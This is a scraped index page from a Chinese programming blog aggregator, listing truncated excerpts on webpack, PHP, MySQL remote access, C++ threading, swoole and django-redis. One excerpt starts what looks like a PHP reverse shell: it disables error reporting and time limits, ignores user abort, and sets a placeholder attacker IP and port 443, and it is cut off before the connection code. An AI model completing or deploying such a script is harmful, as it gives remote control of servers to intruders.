官方文档 1、初始化package.json文件 npm init -y 2、创建基本目录结构 3、配置webpack npm i -D webpack 4、创建并配置 webpack.config.js 文件 var path = require('path') module.exports = ...
分类:
Web程序 时间:
2021-07-05 19:01:56
阅读次数:
0
<?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $ipaddr = 'xxx.xxx.xxx.xxx'; $port = '443'; $msg = php_unam ...
使用lambda表达式 Collections.sort(List, (a,b) -> x1 - x2); 自定义Comparator方法 Collections.sort(List, new Comparator<E>(){ public int compare(int a, int b){ re ...
分类:
编程语言 时间:
2021-07-05 18:56:31
阅读次数:
0
接口定义 interface 关键字定义的类就叫接口 接口实例 <?php //接口定义 interface Human{ //跑步 public function run(); //跳远 public function jump(); } //接口实现 class Person implement ...
分类:
Web程序 时间:
2021-07-05 18:53:37
阅读次数:
0
###_remote.repositories文件 本地库中的包都有一个_remote.repositories文件,示例: #NOTE: This is an Aether internal implementation file, its format can be changed withou ...
分类:
其他好文 时间:
2021-07-05 18:51:49
阅读次数:
0
标注工具 标注工具推荐使用ITK-SNAP,windows、linux和MacOS平台都支持。 标注的读取 通过ITK-SNAP加载数据和label文件,我们可以看到用不同颜色区分的标注,如下图: 图中有两个label,分别为Label1和Label2,对应图中红色和绿色部分。 下面我们用程序读取l ...
分类:
其他好文 时间:
2021-07-05 18:51:01
阅读次数:
0
在购买服务器且安装了Mysql之后,并且安全组和防火墙都开放了端口,但是还是无法连接 原因就是mysql设置的就是只有本机可以连接 解决办法 # 1. 登录服务器,在服务器上登录mysql # 2. 使用user这个库 use user; # 3. 查看root账户 select host,user ...
分类:
数据库 时间:
2021-07-05 18:40:36
阅读次数:
0
#ifndef THREAD_POOL_H #define THREAD_POOL_H #include <vector> #include <queue> #include <memory> #include <thread> #include <mutex> #include <conditio ...
分类:
编程语言 时间:
2021-07-05 18:38:48
阅读次数:
0
Mac 通过 pecl install swoole 安装swool扩展时,注意事项: 1、切记 root 用户,否则最后在写入一些文件时会因为权限不足而失败 2、openssl找不到 ,在选择支持openssl时,可能找不到openssl目录,需要手动添加目录: yes --with-openss ...
分类:
系统相关 时间:
2021-07-05 18:33:42
阅读次数:
0
####环境 Django安装django-redis pip install django-redis Linux安装redis centos为例 进入官网找到下载地址 https://redis.io/download 下载完成后解压:tar -zxvf redisxxxx.tar.gz 解压完 ...
分类:
其他好文 时间:
2021-07-05 18:27:08
阅读次数:
0